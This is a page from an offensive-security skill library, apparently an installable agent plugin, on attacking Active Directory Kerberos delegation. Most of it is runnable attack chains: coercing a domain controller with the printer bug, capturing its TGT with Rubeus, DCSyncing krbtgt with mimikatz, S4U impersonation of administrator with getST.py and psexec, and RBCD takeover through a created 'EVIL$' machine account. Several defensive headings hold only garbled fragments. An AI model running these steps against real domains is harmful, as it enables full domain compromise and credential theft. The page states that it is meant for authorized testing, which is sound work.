secskills
secskills / offense / attacking-kerberos-delegation

attacking-kerberos-delegation

offense verified 2026-07-27

Identify and abuse Active Directory Kerberos delegation — unconstrained delegation with printer-bug coercion, constrained delegation with protocol transition (S4U2Self/S4U2Proxy), and resource-based constrained delegation via machine-account creation and msDS-AllowedToActOnBehalfOfOtherIdentity. Use when BloodHound or enumeration flags delegation, when you control an account with an SPN or GenericWrite over a computer, or when escalating within a domain.

$ /plugin install secskills-offense $ /plugin install secskills-core

Delegation lets a service impersonate users to other services. Every form of it is a controlled way to become someone else, and each has a misconfiguration that removes the control. RBCD in particular turns a common, low-looking permission — write access to a computer object — into full compromise of that host, which is why it is the delegation attack that comes up most.

Only against domains you are authorized to test.

When to Use

computer object

When NOT to Use

account creation (4741) are the telemetry

Enumerate the Three Types

# Constrained + unconstrained in one pass
findDelegation.py domain.local/user:pass -dc-ip 10.0.0.10        # impacket
# PowerView
Get-DomainComputer -Unconstrained | select name
Get-DomainComputer -TrustedToAuth | select name,msds-allowedtodelegateto
Get-DomainUser -TrustedToAuth
# RBCD is a per-object attribute; BloodHound's edges are the practical way to find it

Which type you are looking at decides everything:

TypeMarkerDirection of trust
UnconstrainedTRUSTED_FOR_DELEGATION on the accountHost can impersonate anyone who authenticates to it
ConstrainedmsDS-AllowedToDelegateTo populatedHost can impersonate anyone, but only to listed services
RBCDmsDS-AllowedToActOnBehalfOfOtherIdentity on the targetTarget names who may impersonate to it

Unconstrained Delegation

A host with unconstrained delegation caches the TGT of anyone who authenticates to it. Compromise the host, then coerce a high-value account — ideally a domain controller — to authenticate, and capture its TGT.

# On the compromised unconstrained host, monitor for incoming TGTs
Rubeus.exe monitor /interval:5 /nowrap
# Coerce a DC to authenticate to you
printerbug.py 'domain/user:pass@dc01.domain.local' attacker-host.domain.local
# or PetitPotam, or the MS-EFSR / MS-RPRN coercion of your choice

# Capture the DC's TGT, then DCSync with it
Rubeus.exe ptt /ticket:<base64 DC TGT>
mimikatz # lsadump::dcsync /user:krbtgt

The printer bug (MS-RPRN) and PetitPotam (MS-EFSR) exist precisely to force a target to authenticate. Coercing a domain controller to an unconstrained host is a direct path to domain compromise.

Constrained Delegation

A host with constrained delegation to a service can impersonate any user to that service — including a domain admin, and including yourself as a domain admin via S4U2Self followed by S4U2Proxy.

# You control an account with msDS-AllowedToDelegateTo set to, say, cifs/dc01
getST.py -spn cifs/dc01.domain.local -impersonate administrator \
  'domain.local/svc_account:password' -dc-ip 10.0.0.10
export KRB5CCNAME=administrator.ccache
psexec.py -k -no-pass domain.local/administrator@dc01.domain.local

The alternate-service trick matters. S4U2Proxy returns a ticket for the SPN you request, but the service class is not cryptographically bound — a ticket for cifs/dc01 can be rewritten to host/dc01, ldap/dc01, or http/dc01, because the target service only checks the server name. So delegation constrained to a "harmless" service like time/dc01 still yields ldap/dc01 and therefore DCSync. Do not dismiss a constrained delegation because the listed SPN looks benign.

Resource-Based Constrained Delegation (RBCD)

The highest-frequency delegation attack, because the prerequisite is common: write access to a computer object's msDS-AllowedToActOnBehalfOfOtherIdentity. GenericWrite, GenericAll, WriteDacl, or WriteProperty over the target computer is enough.

# 1. Create a machine account (default quota allows 10 per user)
addcomputer.py -computer-name 'EVIL$' -computer-pass 'Password123' \
  domain.local/user:pass -dc-ip 10.0.0.10

# 2. Write your new account into the target's RBCD attribute
rbcd.py -delegate-from 'EVIL$' -delegate-to 'TARGET$' -action write \
  domain.local/user:pass -dc-ip 10.0.0.10

# 3. Impersonate any user to the target via S4U
getST.py -spn cifs/target.domain.local -impersonate administrator \
  'domain.local/EVIL$:Password123' -dc-ip 10.0.0.10
export KRB5CCNAME=administrator.ccache
psexec.py -k -no-pass domain.local/administrator@target.domain.local

This is why a BloodHound GenericWrite edge to a computer is not a low finding. It is a full takeover of that computer through three commands. When you report a write primitive over a computer object, report it at RBCD severity.

If MachineAccountQuota is 0, you cannot create a machine account — but any existing account you control that has an SPN works as the "from" identity, and if you can set an SPN on a user account you control (via GenericWrite on yourself or another user), that substitutes.

Protected Accounts

Several targets resist impersonation regardless of the delegation path:

(NOT_DELEGATED) are excluded.

privileged account that is not — there is almost always one.

Check before spending effort:

Get-DomainUser -AllowDelegation -AdminCount | select name       # delegatable admins

Defensive Review

little else should.)

Rationalizations to Reject

rewritable. time/dc01 becomes ldap/dc01.

full host takeover.

control substitutes.

authenticate to it. The server's trust level is irrelevant.

Most admins are not in Protected Users.

collection; older data misses RBCD entirely.

ATT&CK Coverage

Generated from secskills-core/ttp-index.json — edit that file, then run python3 scripts/sync_attack.py --write. Re-verify IDs against the current ATT&CK release before citing them in a report.

Credential Access (TA0006)

Detection content for any of these: engineering-detections. Proactive search: hunting-threats. Post-compromise: responding-to-incidents.

References